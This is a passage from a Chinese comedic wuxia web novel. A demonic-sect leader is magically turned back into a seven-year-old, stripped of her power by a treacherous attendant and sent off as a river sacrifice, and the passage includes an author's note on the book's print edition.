《教主,你就从了吧》 1. 本座乃女魔头也 本座年方二八,性别女,爱好男,职业乃全职魔教教主,后宫有男宠三千。 你说我年纪轻轻便如此霸气侧漏、事业有成,委实是天降英才,后生可畏? 不不,谬赞谬赞,本座实乃汗颜……倒不是因为本座谦虚,只是本座实乃并非双八年华,豆蔻十六,而是实打实的已经年满二十八,妥妥奔三了…… 在本文的开篇,本座已然能够翻手为云覆手为雨,已然傲视群雄,武功盖世。作为江湖最邪恶同时也最有权势的魔教教主,同时也作为一个韶华已逝的怪阿姨,本座表示压力很大。 话说我这个牛逼哄哄的混世女魔头为什么闲得在这里跟你们唠嗑呢? 因为可巧,近日本座很闲,闲得捉只蚊子都能兀自玩上半日。 若问我为何如此之闲,只因为本座正在闭关修炼。 (下文详情请见《囧女辣手摧草录》内有女主爹妈轶事,女主妈是个修仙穿越货) 小的时候,我住在蓬莱岛上的娘亲,非常重视对我文化素养的培育。我娘亲是个很不懂世俗伦常,我是说很懂得标新立异的女人。世人皆道“女子无才便是德”,她却是从小教育我,“流氓不可怕,就怕流氓有文化”,于是,我从小便博览群书,而今成了当世首屈一指的文化流氓。在娘亲的悉心教导下,金庸、古龙、兰陵笑笑生早在我三岁时便已经群览。想当年,我对武侠话本中频频提到的“闭关修炼”一直心生向往——武林高手、各派掌门为了躲避仇家追杀或者纯粹为了减肥,总是没事儿就把自己关进一个山洞里,在一块传说中被很多革命先辈们的屁股捂热了的神奇大石上或坐或躺或趴,不吃不喝,每日对着秘籍里的连环画YY,YY到眼冒金星□□,终有一日在漫天金星中看出了人生真谛,大叫一声“我悟了”,蓬头垢面从山洞里狂奔出去,从此笑傲江湖,天下无敌。 而今我真的“闭关修炼”了,身体力行之后总算后知后觉:山洞中夏多蚊虫冬有湿气,不宜于气血循环,加快色素沉积,对我这奔三的大龄女青年极为不利,况且老娘我早就天下无敌了,此事有弊无利,还是少做为宜。 接着说我娘亲书房里的藏书。 翻完了武侠话本之后,由于那蓬莱仙岛上的日子长,难以打发,我便又开始琢磨起娘亲书架上层那些无封面无作者无出版社及发行年月的水货书。例如什么《凤于九天》《凤霸天下》《纨绔》,大大小小薄薄厚厚满满当当塞了几百本子。娘亲说这是她千辛万苦从百度文库里捣腾出来的。我问百度文库是什么,娘亲解释曰,那是天帝的藏书阁,天文地理古今中外只要念个诀召唤一声,各种各样的书便会在眼前一字列开。 我舅舅总说母亲是个修仙的半废品,不想母亲原来竟还是有些本事的。 但是,有一天,我拿着那书去问爹爹——说到这里我需解释一下,其实我是有两个爹爹的。住在东厢房的叫做柳爹爹,西厢房的叫做洛爹爹。我小时候一直没有名字,因为我娘亲实在是辩不出我到底是哪个爹的闺女,总说着等我再大几岁长开了,看着像谁便是谁的闺女。 当年我总觉得柳爹爹更疼我些,总爱抱我溺我,我闯了祸也向着我,也总能讲些世间有趣的事来逗我开心。而洛爹爹性情清冷,不爱亲近我也不爱与我说话,总是默默在一旁看着。所以那时候我总觉得也许柳爹爹才是我的亲爹,现在想来,我倒是明白了,也许我更随了洛爹爹一些,因我曾经听过,洛爹爹随娘亲来到蓬莱仙岛修仙之前,乃是魔教“拜月教”之主,曾是一度称霸天下无人能敌。 接着说我母亲的藏书。有一日我拿着母亲私藏的“珍本”去问柳爹爹,“为何这男主偏偏不爱温柔贤惠的小师妹,却要去和师母抢师傅?”柳爹爹面色沉静语重心长得抚摸着我的脑袋说,“此乃‘断袖之风’‘龙阳之癖’,还记得两年前你娘亲给我和你二爹爹下了药用‘乾坤锁’给锁在厢房里吗?” 我一听脸色大变,那一晚当真是闹得惊天地泣鬼神,洛爹爹那日暴走,仙力全开,不仅震开了那把传说中锁乾坤万物的神锁,还几乎夷平了整个蓬莱岛,气得我舅舅甩手走人,留下我们四人风餐露宿在山洞里过了半年山顶洞人般的非人日子。 从此,我对“龙阳”之说如避虎狼,对那些“天书”敬而远之。 在柳爹爹教导下,我从小便在逆境中被培养出了非常正确的人生观——男女搅在一起才是泱泱正道,尤其是像我母亲那般才好——后宫里一冷一热两位风格迥异的正殿娘娘,外头跟我那舅舅似乎也有那么一丝不明的暧昧,又据说在世间还有那么几位风姿卓然的知己。 这就是为什么现如今我后宫中有男宠三千人——质量上诚然不足——这世间是难以挖出我爹爹舅舅那般的人物了,我只好在数量上补足。如此也算承了我母亲衣钵。 聊了这么多,各位看官大概已经迷茫看天了。 其实,鄙人到现在也很迷茫,为何七岁之前的人生与七岁之后的人生差距如此之大。 七岁之前我生活在一个叫蓬莱岛的地方,岛上有我的娘亲,两位爹爹,以及高深莫测的舅舅。他们皆是修仙之人,而那蓬莱实则一处世外桃源。七岁时,舅舅修行圆满,即将承受天雷业火之考验,若是成功便可飞升成仙。由是我年纪小,没有丝毫法力,娘亲担心我留在岛上有性命之忧,于是便将我送出蓬莱。她说只是将我送出来暂避风头,不出几日便接我回去。而如今屈指算来,那已经二十年前的前尘往事了。那时候我在东海之滨等了许久许久,在海风中等的衣衫褴褛也终究没有等来接我回去的人。 那时候,七岁的我并不懂得担忧爹娘的安全,只是隐隐约约的明白,爹爹和娘亲不能来接我了,我没有人要了。 不过总归,我等来了要我的人。 想来我在这尘世间二十年,如梦幻泡影一般,唯独初遇我师傅的那一幕记得尤为清晰。 那时候,他一身白衣,毫无坠饰。如若谪仙临世一般从高高的车辇上一步步走下来,停在我的面前。我闻到他身上淡淡的温暖的馨香,看到他优雅得缓身,在我面前蹲下,然后抬起手来,轻轻得摸了我的头。 他的眼睛,是我此生都从未见过的,通透而澄澈如同琉璃一般一尘不染。他垂着眸子看着你的时候,如同神祗一般,美丽而又孤高,你会像被洗脑了一样,一瞬间把这个世界上除了他以外的东西忘得一干二净;或者说,除了他,这世间的万物都再也无法入你的眼。 他轻轻叹了口气,露出了有些惋惜有些爱怜的神色,说,“是我来迟了,让你受苦。现在已经没事了,从此以后,你就留在我身边吧。” 然后,我突然就觉得非常委屈。 痛苦、愤怒、悲伤对女人的杀伤力,一直都不如委屈来的最强烈。 于是,就连整个蓬莱岛的万间宫室在我面前顷刻间化为废墟时,都不曾掉一滴眼泪的我,那时候当场嚎啕大哭,雷电交加,稀里哗啦。 我问他,“爹爹和娘亲去了哪里?” 师傅却对我说,“所谓从前,不过是一场虚妄。若是再难追回,那般种种便不要对任何人说起,你只当它是一场梦罢。” 从那天起,我成了一个无父无母来历不明的人,也成了师傅唯一的关门弟子,江湖第一魔教镜花宫的少主。 后来我渐渐明白为何师傅不许我再去提前尘往事。 我曾经在翻阅某一时下正火 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镜花宫的人之前叫我少主,后来叫我教主。江湖上的人之前叫我小魔头,后来叫我大魔头,再后来,我终于有了个比较像样的名字,名叫白玉蛟,是化自那上古凶神的名号。这名字的来历颇为狗血,在江湖传言中,我总是驾着黑云,擎着一柄很玄幻很霸道的三戟叉从天而降,降下腥风血雨。于是,江湖上那些爱给别人起外号的家伙们就杜撰,说我是恶蛟转世,祸乱人间。 再后来,就连镜花宫的人都开始以为我本名就是白玉蛟。 于是,我也开始自称为白玉蛟。 所谓,八卦说了一千遍也就成了真相,大抵也就是这么回事。 十年之后,白玉蛟的名字,成了江湖上无人敢提,一出现就被“吡——”掉,人人闻之而色变的不和谐字眼。 我不觉得这是一种恭维,相反有点讽刺。在我自己都毫无知觉的时候,我已经变成了一个心狠手辣视人命如草芥的杀人狂魔,虽然,曾经我是一个踩到了蚂蚁都要哭半天的唐僧。 在独白的最后,我非常发贱得宣布,有一件好事和一件噩耗。 好事是,本座神功已成,明日就可以出关。 噩耗是,我那个跟神一样的美型的师傅你们看不到了。因为十年之前,那位美人就死了。 在本章的最后,我忍不住想吐槽一句: 像我这样——没有正经职业,道德败坏,经常被大叔大婶们没事挂在嘴边吓唬小孩儿,而且还是个大龄女青年的一个非主流货色,为什么会成为时下以十六岁为主流青春言情小说主角呢? 我说作者你脑袋被门夹了吧?! —————————文章末尾为了引起注意而出现的PS君————————————————— PS君:大家可以叫三日成妖为【山药】,三妖的谐音。 当然也有很多亲们叫我小三妖妈神马的0 0,其实叫山药就好啦,反正是词组也好打= = ————————请大家认真看下面的【公告君】!!!!:(公告君脸红)—————— 不好意思在第一章就告诉诸位,《教主,你就从了吧》已经出版了!!分上下册,当当有售。上部内容基本上在网上可以看到,后半部分(VIP处)情节与出版本有区别。教主下册书名为《笑嗷江湖》,该题目是因为出版总署认为我的题目不和谐……(摔桌!不和谐你妹啊渣渣!)。 Question解答:网络版和出版本的差别在哪里? 1)网络版从【65章】开始之后的内容与出版本都不一样。之前基本是一样的。所以买了实体书的妹子们小哥们可以从65章开始订阅。 2)网络版内容比出版本多出大概10W字。 3)网络版有新角色加入。 2. 盖世武功只是个幻觉 我打着呵欠懒洋洋从山穴里走出来,站在断崖上伸了个懒腰。 今日阳光明媚,清风拂过树梢,压得整片山林如同绿海一般,一浪一浪汹涌起伏,发出沙沙的声响。 脚下是千仞绝壁。三千里锦绣江山,风光无限好。 我当然不是徒手爬上来的,更不是一个绝世轻功飞上来的。说到底,轻功也只是跳的高了一点。那种垂直一飞几百米的不是轻功,是失足坠崖。 如果你仔细看就会发现,在这个绝壁的崖壁上,其实是紧贴陡峭的崖壁修筑了非常狭窄的栈道。栈道环绕盘桓,延伸几百米,一直通向山脚。而我勤勤恳恳的属下们,在我闭关的这段日子里就在这摇摇欲坠的凌空栈道上搭了几个临时的棚子,每天风餐露宿,为我洗衣服做饭烧洗脚水。你看属下们如此贤惠,全仗着是我这领导调教得好。 我这么大一坨人站在那么个扎眼的位置上,没几秒就被属下发现了。于是几秒之后,一群属下呼啦啦涌出来,在我脚底下整整齐齐跪成一个方阵。 “恭喜教主,贺喜教主,教主神功大成!教主仙福永享,寿与天齐。神教千秋万代,一统江湖!” 我垂下眼睛扫了他们一眼,略微有些不爽。自从二十年前我教了他们这句话,这群没有一点创新精神的家伙就活活“哔哔”这两句“哔哔”了二十年。 我说,你们就不会换点新的啊?多说点好听的糊弄糊弄领导就这么难吗? 又不是写话本子!神教千秋万代关我毛事!哪个要一统江湖啊! 几十人混含着内力的声音回荡在崇山峻岭之间,铿锵有力,伴随着“湖湖湖”的回音,惊起了林子里千万只飞鸟瞬间都扑棱棱一飞而起。霎时,落粪与鸟毛齐飞,那场面,真可谓,蔚为壮观。 宅了太久,我一点精神也打不起来,于是一边打着大呵欠一边没形象得用小拇指抠耳朵。 此时,在五体投地趴在地上的那群人中,跪在为首的那个人慢慢抬起头来看我。微风拂动他从肩头垂落的长发,长发如瀑,青丝飞舞。细碎的发丝滑过轮廓完美的侧脸,美得让人心神荡漾。 我目光正好和他的对上,然后,我眉梢一挑,微微一弯嘴角,小拇指还停留在耳朵眼里。 你看我们俩正大光明眉来眼去的,我也没什么好藏着掖着的。这只长得俊逸典雅,低头一笑间的温柔能秒杀无数痴心少女,稍有几分我师傅味道的美人,其实,就是我的填房大丫鬟。平时随侍我左右,替我打理教中内务。 此人名,染织。 顾染织。 想我闭关多日,日日夜夜独守空洞,寂寞如斯; 想我现在奔向三十,正是如狼似虎容易饥渴的年龄; 想我家的大填房丫鬟秀色可餐,近水楼台先得月,春宵一刻值千金。 花到堪折直须折,及时行乐需趁早。思及至此,我当机立断,懒洋洋得挥了挥袖子,“咳咳,本座有点累了,今儿就先在后山的行宫留宿一日吧,你们也休整休整,明日再启程返回总坛。” 犹记得当年初到此处,迥然发现这镜花宫竟是个邪恶而不正经的地方,我多少是有些怨念的。但是很快,我就发挥了强大的主观能动性,积极适应环境,力争做一个合格的魔教教主。 我诚实得招认,做个魔教的教主,当真是比混后宫、混朝堂、混王府好多了。魔教教主,有权有势,有房有车,有男人也有女人。你看,我男人有一打,房子也有一打。山脚底下的行宫就是我的不动产之一,此宅修得堂皇气派,规格不输皇帝的避暑山庄,而修建它的唯一目的就是为了方便历任教主闭关的时候临时歇脚,十年八年也就用那么一两回。 我配合属下们的脚程,溜溜达达晃晃悠悠,傍晚时分才到达了行宫。到了行宫省略吃喝拉撒直奔主题。 寝殿内帘幕微垂,水汽氤氲,伴着零落丝竹声乐与淅沥水声,别有一番情致。 “染织,最近教内有什么大事么?我眯着眼睛赤身裸体趴着,一脸老佛爷状享受着美男的服务,“矮油,就是这儿,又酥又痒的真磨人,你再用力一点。” “并无大事。”美男简单的回答,声音里没有什么起伏。 他的手指纤长而有力,指腹有因为长年练剑而留下的薄茧,从皮肤上摩挲而过,有轻微的刺痛感。 本座虽然是个非主流的魔教教主,但是对男人的审美还是很主流的。是个男人,就该有个纯爷们的样子。手指就应该骨节分明,纤长有力,并且带着粗糙感。脸上身上多几道伤疤什么的也丝毫不算破相,只会增加魅力。 至于那种细皮嫩肉,皮肤比女人还柔软、还水灵的正太美少年,完全不在本座的猎食范围内。试想,让那些皮肤比我软、眼神比我纯良、那个洞弹性都比我好的家伙躺在我床上,不纯粹是为了反衬我这个比男人还凶悍的家伙,五大三粗不男不女年老色衰么。 顾染织穿着薄薄的衣衫,跪在大浴桶旁边帮我按摩。 他低眉顺眼,态度恭顺,就是也见不到什么心跳加速。只有那水汽氤氲,熏得他脸颊染上了绯红。我估摸着他捏我这身奔三的老骨头与捏一排条也没什么区别,提不起什么兴致来。 思及至此我仍旧是心安理得。自古以来,唯有弱者只能以色事人;若是你强了,他人便只能以色事你。 我觉得洗得差不多了,就抬抬手示意他停下,“你沐浴更衣,我在寝殿等你。” “是。”顾染织微微颔首,顺从得退开,从屏风后取了浴衣来,伺候我穿衣服。 我从浴桶里站起来,披上浴衣,左脚先迈出浴桶,甩了甩头发,把湿发用一根丝绦束起来,然后右脚迈出了浴桶。 为什么此处我要描述得如此仔细繁琐呢?因为我要事先声明,我真的没有做任何奇怪的事,接下来,狗血而又伪科学的事情发生了。 我嘴角犹自挂着调戏美男的□□,两只脚刚踩上木屐,还没站稳呢,突然“嘭觉得全身经络内猛然一股异动!紧接着便是“澎”得一声巨响,与此同时,一阵白色的烟雾突然在我周身弥漫开来,眼前一片云里雾里。 整个过程仅仅持续了三秒,三秒钟后,烟雾消散。 我滚在地上哀嚎了一声,捂着摔疼的屁股坐在地上,“这是怎么回事……” 我下意识一低头,却看到一双小手。 等等……这是什么玩意儿?! 我心里“咯噔”一声,惊觉,大事不妙了! 我不可置信得抬起手,只见这是一只嫩嫩的小小的爪子,肤若凝脂,指尖粉红。我赶紧又颤颤巍巍摸了一下自己的脸,柔柔软软,团团圆圆,肉质鲜嫩,味美多汁。 这、这该不会又是传说中的——返老还童?! 我惊慌失措爬到水池边望着里头的倒映,然后一个带着鼻音,嫩到爆了的萝莉音响起来,“老娘怎么变回七岁了!!” 我这厢还没继续多想,突然,一直在一边默默石化的填房大丫鬟,突然像被附身了一样暴走了!他一阵风似地飘到我面前,狠厉无比的指风在我胸前滑过——我被丫的给点穴了! 那一瞬间,我突然又发现了一件惊天惨案——老娘我不仅身体变小了,武功内力也顺便尽失了! 不然这种程度的点穴对我来说还不跟挠痒痒一样!怎么会动弹不得啊! 顾染织点完我的穴道,接着便没了下一步动作。 他那一下之后,我跟他同时都愣了,结果两个人就大眼瞪小眼震惊在了原地默默发呆。 我为什么愣了? 要知道,这小子跟在我身边有十年了!是我!是我!就是我!含辛茹苦把他从一个呆头呆脑的愣头青,一手调教成一个诗词歌赋琴棋书画床上床下无所不精的全能型选手! 这小子可是我最亲信的人之一!平时就跟我自个儿的左右手一样! 你能明白那种突然被自己左手聒了一耳光的感觉吗? 虽然我习惯用右手吃饭左手擦屁股,但那一刻,我真的没想明白,为什么我的左手要背叛我…… 其实呢,后来我冷静下来仔细想了想,突然觉得顾染织点我穴道的那一下可能是手误。有时候人在极端震惊的情况下,机体会做出令你自己都无法理解的二货举动。我琢磨着,顾染织是不是看到我一个阿姨突然缩成那样,震惊之下,以为我是被什么妖物附体,下意识就觉得应该先把我制服。 结果我还真被制服了,接着,问题就来了。 身居在顾染织这样位子上的人,是犯不起错的。他在教内有实权没地位,在我身边有感情没名分,底下的人没多少真服他的,被多少人虎视眈眈就等着抓他的把柄。顾小哥他如履薄冰十年,谨小慎微,从不犯错。谁知道这一犯,就是个大的。欺君犯上了,按照历法,这足够被灭九族了,按照教规,足够被一片片活刮了。 况且,我这人有多心狠手辣,他见的太多也太清楚了。就算他放开我,估计也会被恼羞成怒的我大卸八八六十四块扔出去喂狗。 我们俩愣神的时候,同时想到了这个八八六十四块的无良假设。 于是,顾染织同学的神情一下就变了,我第一次知道,原来他那张素来清净淡漠的脸,也上会有这样狠辣的神情…… 满头满脸写满了血淋淋的大字“爷我今天要起义”! 我看他紧紧握着拳头,漂亮的手背上狰狞的青筋都爆了出来。 为了防止他冲上来一拳毙我于拳头下,我轻轻咳嗽了一声,先开口了,“染织……你现在这副样子是什么意思?你以为,你在这里杀了我,自己还会有活路吗?” 顾染织冷笑了一声。 不好,被激怒了。下一句可得小心点说。我表面上临危不乱,装作有点疲惫地摇摇头,“染织,你一向聪明,自然也该清楚,你今天杀了我,自然会被扣上谋逆的罪名被千刀万剐。镜花宫教主这个位子,我底下那几个老家伙都垂涎欲滴觊觎着。而我死了之后,镜花宫大权旁落,底下的那些兔崽子们就有了机会。你这样当冤大头,不是正好遂了他们的愿了么?杀了我,我们一死一双,半点好处也没有,我可不记得有教过你要做这样的赔本生意。” 我故意避重就轻,跳过他为什么要背叛我这个问题。 虽然我对此也很纳闷,但我就怕万一他历数起我的罪状来,比如经常在床上蹂躏他什么的,然后越列举越愤怒,最后怒极攻心把我先奸后杀,一剑穿心。 顾染织没说话,微微抿着嘴唇,皱着眉头,一动不动盯着我。 我知道他那样的表情是在飞快地盘算,盘算怎么把我除掉同时保全自己的安全。 我突然觉得庆幸,幸亏我养在身边的都是些懂的惜命的家伙,不然碰上个亡命之徒,就算我谈判技巧炉火纯青,能说得舌灿生花,能吐出个象牙来,对方也未必会鸟我。 “染织, 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“呐,染织。不管你为什么这么恨我,看在你我十年交情的份上,不如我们做个交易。趁现在我出关的消息还没有走露出去,不如……你先把外头那些知情者都除掉,假装我闭关未出。这样,也许拖延个一年半载的不成问题。这期间,是凭你自己的能力夺取镜花宫大权,还是找个机会离开那里去逍遥江湖,就看你自己的选择了。” 顾染织似乎已经想到了这种方案,想也没想就直接问,“你的条件是什么?” “不要杀我。”我微微笑了一下。 “这么简单?”顾染织眯起眼睛,显然一点都不相信我这个一看就知道极不公平的条件。 我轻叹了口气,微微摇了摇头。 我现在万万是不能呆在镜花宫里的。我现在没武功没内力,要是我还保持着原来那个身体那个脸,好歹可以借口“神功大成,功力出神入化神出鬼没”这种狗血托辞来保住地位。但是我悲催得居然变回了七岁的样子,全然是处在任人宰割的地位上。 镜花宫是个什么邪教组织我比谁都清楚,简单的说,这里就是个狼群,弱肉强食。我现在根本处在孤立无援的地位上。那些所谓狗一样衷心的属下,忠于的是我的权力和我的实力,现在如果我什么都没有了,他们肯定是第一批挥刀来砍杀我的。 就连我最信任的左手都扇了我一个大耳光,要是我回到镜花宫那不是妥妥找死么? 我那句我死了你也活不了,其实有百分之七八十的成分只是在吓唬顾染织,我现在一个七岁的小屁孩武功内力全失,我还真不能拿他怎样。早知如此,当年就该学《天龙八部》里的天山童姥,折腾出个什么“生死符”来给底下那帮狼子野心的属下们灌了,让他们离了我,一天也不能独活!真是可惜啊!可惜我当初那么没有远见!可惜啊!这世间的制药业那么不发达! “我让你好吃好喝把我供起来你肯吗?”我弯了弯嘴角,笑得有点无奈,“只要你肯答应我这个要求,我们的交易就成立。你不杀我,我自然有办法离开。” “好。”出乎意料,顾染织无比爽快的同意了。 然后,他突然快步走出来,一把抓住我的右手。我看到他食指和中指之间夹着的薄如蝉翼一般的刀片。 我心底一冷。你个孙子!我寝宫里明明不许带武器,你却一直藏着凶器! “我不杀你,但是必须废了你。” 我心想,你个孙子!我十多年真是白养你了…… 还没想完,顾染织手起刀落。 然后我眼睁睁看着我的左手,把他的兄弟姐妹——我的双手双脚——给废了。 我没出声。话说,我一个魔教教主,不就被挑断了脚筋手筋嘛!有什么大不了的!如果这点定力都没有,那也太丢人了吧! 我狠狠地瞪着他。 豆大的眼泪吧嗒吧嗒往下掉…… 顾染织居高临下看着我,神色一下变得很微妙,似乎是有点不可置信还有点可疑的后悔。最后他被我愤恨的眼神给盯得良心发现,抬手点了我的穴道帮我止血,顺便还点了我的哑穴。 末了,我看到顾染织背过身去,背影有那么一瞬间的让人觉得单薄。 “教主,为什么你都不怪我?”顾染织淡淡问道。 嗯?谁说我不怪你啊!!!我和我的祖宗是十八代一起怪你!! 我想说话,说不出来。我瞪眼,他又看不到。 “为什么,就算是我背叛了你,你仍然能够气定神闲得笑着跟我谈条件?”顾染织说完,沉默了几秒,忽然再开口语气就放得很轻很软,“从一开始,您就没信任过我吗?还是说,这一切也是您设计好的一个局?” 我欲哭无泪。 顾染织!你你你,被被害妄想症啊!!!! 片刻之后,顾染织恢复了平时的冷漠,“今天我就送你下山,以免夜长梦多。” 你要怎么送我下山啊?不怕惹人怀疑吗? 我正默默想,顾染织心有灵犀地回答,“现在正是要祭司河神的日子,教主,您就委屈一下当个祭品去供神吧。” 喂!那个祭品不是要童男童女吗?!老娘我不童已经十几年了!你这不是坑河神嘛!而且你小子不是说不杀我吗!祭神是要被投河吧?!你这是作弊啊! “教主,这算不上食言吧?”顾染织微微回头,眼角冷冷瞄了我一眼,“逃过几个押送的杂兵,对于教主您来说,不过是小事一桩吧?” 我额角爆出一条青筋。 顾染织!你你你,你不仅有被害妄想症,还对我盲目崇拜! 3. 一只渣攻粉墨登场 历代镜花宫教主练的神功,名曰“刹那芳华”。 此神功名字很华丽,效果也很华丽。必杀技是群体性大范围攻击招式,发功的时候地动山摇、风起云涌、鬼哭狼嚎,一招能够秒杀一片,一掌拍出去,瞬间方圆十里寸草不生。这还不止,这神功最妙的地方,是它的附加能力——能够延年益寿,美容养颜,其驻颜效果惊世骇俗。 想当年,我碰到我师傅的时候,一直以为这位老人家也就是个奔三的年纪。 后来我才知道,当那些两鬓斑白胡须飘飘的长老们还光着屁股满地爬的时候,这老妖怪就顶着那张帅脸了。 “刹那芳华”一共有九重。历代教主都最高都只练到了第八重就练不动了,我师傅是个懒人,练到第七重就不再接着练了。我这人其他优点了了,唯独对打架在行,这点似乎是像极了洛风涯。在我闭关这段时间,我成功突破了八重,顺利晋级第九重。于是,我成了除了发明“刹那芳华”的创教老祖宗之外,第一个把“刹那芳华”练上第九重的人。由于前人从未练满级过,没有先辈经验可以借鉴,第九重神功究竟有什么玄妙之处谁也不知道。 是神功,都有点邪乎。 譬如《倚天屠龙记》中那个“什么九阴什么经”神功会让人人格扭曲以为自己是只□□;那《笑傲江湖》中的“什么葵什么花”神功会让男变女女变男。 然,本教秘术“刹那芳华”竟然比那两个神功还邪乎,邪乎得让本座二十年功力全失。 我娘小时候教导我女子不可口吐污言秽语失了身份,若是不爽了便一耳瓜子呼过去,才实打实的解恨。但是目前这个光景我是不知道自己该去扇谁解恨,只能弱弱在心里骂一句——我嘞个去!这未免也太坑爹坑妈坑大舅了吧!真TMD比《葵花宝典》还没良心!至少《葵花宝典》还给了你个选择要留下那话还是割了的机会!苍天啊!这就是所谓的“我命由天不由我”。两个字来总结就是——TMD坑死爹了! ··· 我现在像野生动物一样被装在一个巨大的木头牢笼车里面,正稀里哗啦颠簸在崎岖的山路上。值得庆幸的是,好在我虽为阶下囚,穿着打扮倒是不失身份——一套颇为华丽的五彩祭服,细软的黑发在脑袋两边盘成两个包子形的发髻,并用了五彩丝绦系住,衬着额前齐齐的刘海,脖子上还栓了两颗叮叮当当响的小铃铛。若不论这身体里装着的猥琐思想和流氓灵魂,倒算得上是个可爱的小萝莉。 穿成这般,是将被送去祭河神了。 我抬头,看了看天色和四周的景色。 凭我行走江湖二十年的经验,此黄土山路荒僻无人灌木丛生,十分适合冤家路窄,狭路相逢。 我刚想完,就看到转弯的地方,浩浩荡荡迎面而来一个马队。 为首的那位大叔,人高马大气度非凡,他的背后飘扬着一面大旗,旗子上写着两个大大的篆体字“青旅”。 我去,该不会是个旅行团吧?! 对方声势浩大,起码有二十个人。我们这边人少寡众,只有五个黑衣人五匹长相很凶残的骏马,外加笼子里的萝莉一只。 双方距离还有十米的时候,对方先停住了。我方继续向前压上。 为首的大叔一看我们这边人那身全黑的制服和锃亮的牛皮军靴,立马脸色就变了——这身制服可是我的得意之作,已经成为了镜花宫的辨别标志。 凭我行走江湖二十年的经验,我断定,这位大叔肯定来历不凡! 十米之外,我就能感觉到他身上散发出来的那隐隐的魄力。尤其是他左右两边脸上分别有一条长长的,如同刀疤一样的东西从鬓角一直延伸到嘴角,彷如那后山野生狒狒的颊边毛!我眯起眼睛屏息凝神仔细一看。我去,还真是鬓角啊!大叔你毛发发达过分了吧! “几位!”大叔咳嗽了一声,提气远远叫到,“俗话说好狗不挡路!” 我心里暗赞,这位叔叔有胆量有节操!本座果然没有看错你! “我们就不挡路了!” “……………………”本座现在心理活动就是一串无限飞快刷屏飞过的省略号,唯有那令人产生无限遐想的省略号可以表示我现在的心情有多么的复杂。 “诸位大侠走大侠的阳关道,小的们走小的们的……” 这大叔带着颤音的话还没说完,我眼角瞥到身边一个黑衣人做了一个标准的投标枪动作,然后,那位鬓角霸气的大叔,就悲催地走他的奈何桥去了。 用恶俗的比喻来形容此时的场景,就是:他的头,像断了线的珠子一样,吧嗒吧嗒,掉了一地。 顿时,对方阵营一阵惊呼尖叫。 我翻了个白眼,叹了口气。看他的鬓角那么霸气,本来还以为是个牛逼的角色呢……缺不了谢幕得如此之快,而且这遗言还真是够悲催…… 随着我接二连三的唉声叹气,身边五道身影齐刷刷飞出去,对方阵营里人仰马翻,手忙脚乱,惨叫连连。虽然对方也有抵抗,但是抵抗颇为微弱,一瞬间就溃不成军。不断横七竖八的人体残肢向我的方向飞过来,砸的我的铁笼子“咣当咣当”地响,我不得不笨拙得移动着身体避免被溅得一身血。 早知如此,当初我就不应该那么英明神武治下有方,以至于镜花宫别说押送祭品的,就连厨房生火烧饭的家伙都是以一挡十的高手。 其实,作为一个财大气粗的正统魔教教主,我也是有“暗卫”这种牛逼配备的。但是忒不巧的是,由于这次闭关我自己都不知道多久能出来,我怕总坛的老家伙们趁我不在会做小动作,所以这些暗卫都被我勒令留在总坛里监视老不死们了。 谁说天无绝人之路?老天一条条绝了我所有后路。 我垂头丧气。当初认为自己 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于是,我好整以暇咳嗽了几声,清清喉咙,扯开嗓子,哇哇大叫起来,“叔叔!戴斗笠穿得很烂的那位叔叔!!!救命!!快点来救我!!!!” 我这么一嚎,五个麻利砍人的家伙齐刷刷停了动作,五道锃亮的目光齐刷刷射向了那个逃走未遂的斗笠男。 一秒钟的眼神对峙之后,只见白光一闪之后,叮叮咚咚一阵刀光剑影血肉横飞。 几秒的限制级镜头之后……五位制服男平静而和谐得在地上躺成一排。 我这厢远远观战,不由两眼发光。 这斗笠男的剑法,好靓! 剑法之中,风格各异。 有的刚柔并济,翩若惊鸿;有的见缝插针,若行云流水;有的闲散恣意,似摘叶飞花。 而这家伙的剑法只有一个字,那就是快,快得如同那黑夜中瞬间撕破天际的紫电青霜,映在眼中就是一道耀眼的流光。 斗笠男“镪”得一声收剑。 由于距离太远,剑我没看清,但是听那剑鞘的摩擦声如若龙吟虎啸一般,绝对是件神器。 凭借我行走江湖二十年的经验,我断定,此人必不简单! 斗笠男一步一步向我走过来。 要是平时,我这么俩眼发光瞪着一男人,晚上回寝宫的时候,肯定能看到此男剥得光光的躺在我床上等待蹂躏。 但是现在……凭我二十年行走江湖的经验……这个心胸狭窄的斗笠男是要来蹂躏我了! 斗笠男动作优雅,修长的指尖一挑,便解开系在下巴下面的斗笠绳。然后他是指和中指夹住斗笠的帽檐,手腕随便一甩,就把那顶已经被劈出一道裂口的斗笠给甩飞了,不偏不倚正巧落在一匹黑马的马头上。 斗笠之下,露出一张年轻的脸来。 4. 不是冤家不聚头 这张脸怎么说呢? 嗯……只能说,这哥们生得深得本座之心。 本座自小在美人堆中长到七岁,以至于七岁之后的几年之中,我一直将除我师父以为的人看作是一群穿山甲。好在是,时间是把杀猪刀,后来我渐渐长大,便不再记得娘亲爹爹舅舅的相貌,这才有了些基本的审美观念,总算能在一堆穿山甲中分得出哪些是上乘穿山甲哪些是劣等。 这位仁兄显然是脱离了穿山甲之列。这一张脸,长得够细致却丝毫不损狷狂和霸道的气场,剑眉斜飞而入鬓,鼻梁秀挺且直。眼睛很深,眸子却极其清亮,那眼神仿佛一瞬间能看透一切一般,带着一种不言而喻的淡淡嘲讽之意。而从眉尾一直延续到侧脸的一条狰狞伤疤却打破了整张脸的平衡,照常人看,这算是严重毁容了,我却偏偏对伤疤有几分偏爱。 我困难得蠕动了几下,挪动身体,把脸紧紧贴着牢笼,瞪大了眼睛,露出渴求自由的目光盯着他。 男人走到笼子边上停下脚步,看了我一眼,然后冷冷笑了一下。这一笑,笑得那叫一个妖孽!一分冷漠,三分优雅,五分傲慢。虚空中仿佛又千万只水鸟瞬间自水上拍翅而起,晃得我一阵眼晕。 我心里纳罕——这人是谁?以前可没在江湖上看到过此等人物,也没听说最近江湖小辈里面有这么显眼的后起之秀呀。 我回神,对上他的眼睛,一瞬间,却从他眼睛里分明接收到了“爷我很不爽”的信号。 我顿时心里凉了一截,这,这家伙不打算救我?! 果然,那男人笑完了,转身就轻巧翻上一匹镜花宫的黑马,作势就扬鞭要走。 我甚是想去扇他一巴掌,可惜手不够长,于是只能冲着马屁股弱弱得喊,“喂喂喂!别丢下我啊!等会儿魔教的人来了看到一地死人,我不肯定要被砍了陪葬啊!” 马屁股左扭右摆,越走越远。 我抓狂,咆哮,“魔教的人你都已经杀了!反正你已经闯祸!干嘛不顺便把我带走啊!” 马屁股扭得更快了。 “我说你太浪费资源了吧!你看我长得那么清纯可爱如花似玉,天下多少年才能出一个我这样的美人胚子!就算拿去卖了也能换点钱啊!” 